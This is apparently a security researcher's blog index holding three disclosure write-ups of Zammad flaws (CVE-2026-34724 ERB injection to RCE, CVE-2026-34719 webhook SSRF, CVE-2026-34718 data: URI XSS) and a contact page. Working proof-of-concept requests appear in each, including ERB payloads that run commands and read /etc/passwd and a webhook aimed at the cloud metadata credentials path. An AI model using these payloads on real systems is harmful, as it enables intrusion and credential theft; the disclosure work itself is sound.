[{"content":"This is the first of three findings I reported to Zammad in March 2026, and the most serious of the set. Zammad is a widely deployed open-source help-desk and ticketing platform; version 7.0 (March 2026) shipped a new AI Agent feature, and with it an entirely new attack surface that turned out to reach a very old, very dangerous code path.\nIt was fixed in 7.0.1 and assigned CVE-2026-34724. I rated it Critical (CVSS 3.1, 9.1); Zammad scored it 8.7 (High) on CVSS v4.\nBackground The AI Agent feature lets an administrator configure agents — for example a TicketCategorizer — that enrich and act on tickets. Part of that configuration is a type_enrichment_data hash, e.g. { \u0026quot;category\u0026quot;: \u0026quot;billing/invoicing\u0026quot; }, whose values are merged into an instruction template before the agent runs.\nUnder the hood, Zammad builds that instruction template through its long-standing NotificationFactory rendering stack, which is an ERB engine. ERB happily evaluates embedded Ruby (\u0026lt;%= ... %\u0026gt;), so anything that reaches it as a template — rather than as data — is code.\nRoot cause The vulnerable path lives in app/models/ai/agent/type.rb. When an agent\u0026rsquo;s execution definition is built, replace_placeholders substitutes the configured enrichment values directly into the template string with String#gsub, with no sanitization:\n# app/models/ai/agent/type.rb (simplified) def replace_placeholders(structure_string) PLACEHOLDER_FIELD_NAMES.each do |placeholder_name| placeholder_pattern = \u0026#34;#{placeholder.#{placeholder_name}}\u0026#34; replacement_value = enrichment_data[placeholder_name] || \u0026#39;\u0026#39; # attacker value injected verbatim into the ERB template structure_string = structure_string.gsub(placeholder_pattern, replacement_value.to_s) end structure_string end The resulting string is then rendered with trusted: true:\nNotificationFactory::Renderer.new(template: structure, trusted: true).render That flag matters. In lib/notification_factory/template.rb, #to_s only escapes ERB opening tags when the template is not trusted:\nresult = result.gsub(%r{\u0026lt;%(?!%)}, \u0026#39;\u0026lt;%%\u0026#39;) if !@trusted # escaped only when trusted:false With trusted: true, escaping is skipped and the string lands in the execution sink in lib/notification_factory/renderer.rb unchanged:\nERB.new(@template.to_s).result(binding) # arbitrary Ruby runs here So an admin-supplied enrichment value containing \u0026lt;%= ... %\u0026gt; is evaluated as Ruby on the server.\nThis is the same trusted: true ERB mechanism behind the much older CVE-2021-42093 (which reached the sink through Triggers and was patched back in 4.1.1). The AI Agent code path, introduced in mid-2025, reopened the same sink through a fresh, unguarded route.\nAttack path The attacker holds an account with the admin.ai_agent permission. They create an AI Agent via POST /api/v1/ai_agents with an ERB payload in type_enrichment_data.category. They create a Trigger so that ticket creation invokes the agent. Any user creating a ticket fires the job (TriggerAIAgentJob → Service::AI::Agent::Run), which builds the template, splices in the payload, and renders it with trusted: true — executing the Ruby. The command output comes back embedded in the rendered result structure. Proof of concept POST /api/v1/ai_agents HTTP/1.1 Host: zammad.example.com Authorization: Basic \u0026lt;admin_credentials\u0026gt; Content-Type: application/json { \u0026#34;name\u0026#34;: \u0026#34;poc-rce\u0026#34;, \u0026#34;agent_type\u0026#34;: \u0026#34;TicketCategorizer\u0026#34;, \u0026#34;active\u0026#34;: true, \u0026#34;type_enrichment_data\u0026#34;: { \u0026#34;category\u0026#34;: \u0026#34;\u0026lt;%= `id`.strip %\u0026gt;\u0026#34; } } Confirmed payloads on a live 7.1.x instance:\nPayload Result \u0026lt;%= `id`.strip %\u0026gt; uid=1000(vboxuser) gid=1000(vboxuser) ... \u0026lt;%= `whoami`.strip %\u0026gt; vboxuser \u0026lt;%= `hostname`.strip %\u0026gt; deb \u0026lt;%= File.read(\u0026quot;/etc/passwd\u0026quot;).lines.first.strip %\u0026gt; root:x:0:0:root:/root:/bin/bash \u0026lt;%= (7*7).to_s %\u0026gt; 49 The output came back embedded in the rendered result structure, e.g.:\n\u0026#34;result_structure\u0026#34; =\u0026gt; { \u0026#34;uid=1000(vboxuser) gid=1000(vboxuser) groups=1000(vboxuser),100(users)\u0026#34; =\u0026gt; \u0026#34;string\u0026#34; } Impact Remote code execution as the Zammad application user: arbitrary file reads, secret exfiltration, reverse shells, lateral movement into internal infrastructure, or direct database tampering.\nIn my report I rated this Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H). Zammad scored it 8.7 (High) on CVSS v4 — below Critical because exploitation requires a high-privilege administrative configuration step (admin.ai_agent). That is a fair call — but \u0026ldquo;admin-only\u0026rdquo; is not \u0026ldquo;harmless\u0026rdquo;: it removes any audit-time expectation that agent configuration is inert data, and it converts a configuration surface into a code-execution one.\nFix The released fix escapes ERB delimiters in substituted enrichment values before they reach the template. The more robust approach — which I also recommended — is to never splice user-controlled values into an ERB-rendered string at all, and instead pass them into the binding as variables so they can only ever be data.\nReferences GHSA-fg9w-jg8f-4j94 — Zammad security advisory CVE-2026-34724 — NVD entry Zammad 7.0.1 release Related lineage: CVE-2021-42093 — same trusted: true ERB sink via Triggers Thanks to the Zammad security team for a quick, professional turnaround.\n","permalink":"https://cti.al/posts/zammad-ssti-rce-ai-agent-cve-2026-34724/","summary":"How Zammad\u0026rsquo;s brand-new AI Agent feature routed admin-controlled input into an ERB template rendered with trusted: true, yielding remote code execution as the application user.","title":"Server-Side Template Injection to RCE in Zammad's AI Agent (CVE-2026-34724)"},{"content":"The second of three findings I reported to Zammad in March 2026. It sits right next to an earlier SSRF fix and demonstrates a classic lesson: when you patch one path to a dangerous sink, you have to enumerate the others.\nFixed in 7.0.1 (and backported to 6.5.4), assigned CVE-2026-34719. I rated it High (CVSS 3.1, 8.1); Zammad scored it 8.3 (High) on CVSS v4.\nBackground Zammad lets administrators define webhooks that fire on triggers — for example, \u0026ldquo;when a ticket is created, POST a payload to this URL.\u0026rdquo; Outbound HTTP is handled centrally by lib/user_agent.rb, a wrapper around Ruby\u0026rsquo;s Net::HTTP.\nRoot cause UserAgent maintains a proxy_no list that excludes loopback addresses — but that only governs proxy routing. Direct connections were made with no IP-range validation at all:\nproxy_no = [\u0026#39;localhost\u0026#39;, \u0026#39;127.0.0.1\u0026#39;, \u0026#39;::1\u0026#39;] # only affects PROXY routing uri = URI.parse(url) http = Net::HTTP.new(uri.host, uri.port) # any IP/hostname allowed # no check: is uri.host private / loopback / link-local? The Webhook model (app/models/webhook.rb) validated only that the endpoint had a valid HTTP/HTTPS scheme and a parseable host:\ndef validate_endpoint uri = URI.parse(endpoint) errors.add :endpoint, \u0026#39;invalid\u0026#39; unless uri.is_a?(URI::HTTP) \u0026amp;\u0026amp; uri.host.present? rescue URI::InvalidURIError errors.add :endpoint, \u0026#39;invalid\u0026#39; end No RFC 1918 ranges, no loopback, no link-local — so the cloud metadata endpoint at 169.254.169.254, internal services on 127.0.0.1, and anything on the internal network were all reachable.\nThe amplifier: when TriggerWebhookJob fires, the full HTTP response — headers and body — is written to http_logs and is readable by admins via GET /api/v1/http_logs. That turns a blind-ish SSRF into a clean read primitive.\nAttack path An admin (admin.webhook + admin.trigger) creates a webhook pointing at an internal target. They wire it to a trigger on ticket.action = create. Any ticket fires the request server-side. The admin reads the captured response from the HTTP logs. Proof of concept POST /api/v1/webhooks HTTP/1.1 Content-Type: application/json { \u0026#34;name\u0026#34;: \u0026#34;ssrf-poc\u0026#34;, \u0026#34;endpoint\u0026#34;: \u0026#34;http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026#34;, \u0026#34;http_method\u0026#34;: \u0026#34;post\u0026#34;, \u0026#34;ssl_verify\u0026#34;: false, \u0026#34;active\u0026#34;: true } Wire it to a trigger, create any ticket, then read GET /api/v1/http_logs. Confirmed reaching internal services on the live instance:\nhttp://127.0.0.1:3000/api/v1/users → HTTP 401 (Zammad API) http://127.0.0.1:6379/ → connected (Redis) http://127.0.0.1:5432/ → connected (PostgreSQL) http://169.254.169.254/latest/ → reached (cloud metadata) Note on CVE-2025-32358 An earlier SSRF fix (CVE-2025-32358, ZAA-2025-01) addressed redirect-following by adding do_not_follow_redirects: true to the webhook job. That patch was present in the version I tested, and it did nothing here — pointing the endpoint directly at an internal address needs no redirect. This was a distinct, unpatched variant living one method call away from the existing fix.\nImpact On cloud-hosted deployments (AWS / GCP / Azure): exfiltration of IAM credentials, service-account tokens, or managed-identity tokens — potentially full cloud-account compromise. On-premise: internal port scanning and exfiltration from services that are not otherwise reachable from the internet.\nI rated this High — CVSS 3.1 8.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N); Zammad scored it 8.3 (High) on CVSS v4.\nFix Zammad extended the endpoint validation to reject loopback and link-local addresses, and crucially applied the check in two places: at webhook-configuration time and when the webhook job actually fires (so a hostname that resolves to an internal IP at request time can\u0026rsquo;t sneak past a creation-time check).\nReferences GHSA-2vgc-vfh2-rw75 — Zammad security advisory CVE-2026-34719 — NVD entry Zammad 7.0.1 release Related: CVE-2025-32358 — earlier redirect-based SSRF Thanks to the Zammad security team for handling this quickly and professionally.\n","permalink":"https://cti.al/posts/zammad-ssrf-webhooks-cve-2026-34719/","summary":"A webhook endpoint that accepted internal IPs with no range validation, turned into a clean data-exfiltration primitive by Zammad\u0026rsquo;s own HTTP logs.","title":"Direct-Request SSRF via Zammad Webhooks (CVE-2026-34719)"},{"content":"The third finding from the same March 2026 audit. It\u0026rsquo;s the lowest-severity of the three, but it\u0026rsquo;s a good illustration of how a single missing entry in a blocklist becomes a stored attack primitive — and of how defense-in-depth changes the practical impact.\nFixed in 7.0.1 (backported to 6.5.4), assigned CVE-2026-34718 (CVSS v4 5.3, Moderate).\nBackground Zammad sanitizes the HTML of ticket articles with Loofah and a custom scrubber, HtmlSanitizer::Scrubber::Wipe. Among other things, the scrubber walks link attributes and strips dangerous URI schemes from href.\nRoot cause The scheme blocklist in remove_invalid_links (lib/html_sanitizer/scrubber/wipe.rb) covered only three schemes:\ndef remove_invalid_links(node) %w[href style].each do |attribute_name| next if !node[attribute_name] href = cleanup_target(node[attribute_name]) next if !href.match?(%r{(javascript|livescript|vbscript):}i) # data: missing node.delete(attribute_name) end end data: is absent. Because href is allowlisted on \u0026lt;a\u0026gt; tags, an anchor carrying a data:text/html URI passed through sanitization completely unchanged and was stored in the database as-is.\nAttack path The interesting part is the delivery: this needs no authentication.\nAn attacker emails a Zammad-monitored mailbox with an \u0026lt;a href=\u0026quot;data:text/html;base64,...\u0026quot;\u0026gt; link disguised as an invoice or document. Zammad ingests the email, runs the sanitizer, and the data: URI survives. A support agent opens the ticket and clicks the link. The browser navigates to the attacker\u0026rsquo;s inline HTML document — for example a pixel-perfect fake login page that posts credentials to an attacker-controlled server. The same payload can also be injected by any authenticated user through the ticket-creation API.\nProof of concept The payload is an ordinary-looking anchor whose href is a base64 data:text/html document:\n\u0026lt;a href=\u0026#34;data:text/html;base64,PHNjcmlwdD4uLi48L3NjcmlwdD4=\u0026#34;\u0026gt;\u0026amp;#128196; View Invoice PDF\u0026lt;/a\u0026gt; After Zammad\u0026rsquo;s sanitizer it is stored unchanged. Control tests confirmed the known schemes were stripped while data: survived:\njavascript:alert(1) → stripped vbscript:msgbox(1) → stripped data:text/html,... → survives (stored unchanged) Impact, and the severity story In my original report I rated this Medium-High (CVSS 3.1, 7.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N), on the assumption that JavaScript inside the data: URI could execute in deployments without a restrictive Content Security Policy.\nZammad rated it Moderate (CVSS v4 5.3) because the GUI\u0026rsquo;s deployed CSP prevents the script from actually running when such a link is clicked. That\u0026rsquo;s a fair downgrade — and a clean illustration of defense-in-depth: the sanitizer gap is real, the malicious content is still stored and rendered, but a second layer (the CSP) blocks code execution. The stored-content and phishing/credential-harvesting risk remains, which is why it was still worth fixing.\nFix A one-character change — add data to the scheme blocklist:\nnext if !href.match?(%r{(javascript|livescript|vbscript|data):}i) References GHSA-c2cf-9fc7-jhf3 — Zammad security advisory CVE-2026-34718 — NVD entry Zammad 7.0.1 release Thanks again to the Zammad security team.\n","permalink":"https://cti.al/posts/zammad-data-uri-xss-cve-2026-34718/","summary":"A one-scheme gap in Zammad\u0026rsquo;s link sanitizer let a data:text/html anchor survive into stored ticket articles — a stored phishing primitive delivered through inbound email.","title":"Stored data: URI XSS / Phishing via Zammad's HTML Sanitizer (CVE-2026-34718)"},{"content":"I\u0026rsquo;m David Zani (k0x1c) — independent security researcher focused on vulnerability research, coordinated disclosure and cyber threat intelligence.\nFor anything sensitive, please use PGP encrypted mail.\nEmail: k0x1c@proton.me PGP fingerprint: DC27 FB47 3FA8 6FB1 B9F6 96F2 BD12 47A9 9D78 8F21 Download PGP key You can also find me here:\nGitHub — k0x1c LinkedIn — David Zani For security disclosures, email is the preferred channel.\n","permalink":"https://cti.al/contact/","summary":"\u003cp\u003eI\u0026rsquo;m \u003cstrong\u003eDavid Zani\u003c/strong\u003e (\u003ccode\u003ek0x1c\u003c/code\u003e) — independent security researcher focused on\nvulnerability research, coordinated disclosure and cyber threat intelligence.\u003c/p\u003e\n\u003cp\u003eFor anything sensitive, please use PGP encrypted mail.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eEmail:\u003c/strong\u003e \u003ca href=\"mailto:k0x1c@proton.me\"\u003ek0x1c@proton.me\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePGP fingerprint:\u003c/strong\u003e \u003ccode\u003eDC27 FB47 3FA8 6FB1 B9F6  96F2 BD12 47A9 9D78 8F21\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/pgp.asc\"\u003eDownload PGP key\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eYou can also find me here:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eGitHub\u003c/strong\u003e — \u003ca href=\"https://github.com/k0x1c\"\u003ek0x1c\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLinkedIn\u003c/strong\u003e — \u003ca href=\"https://www.linkedin.com/in/davidzani/\"\u003eDavid Zani\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eFor security disclosures, email is the preferred channel.\u003c/p\u003e","title":"Contact"}]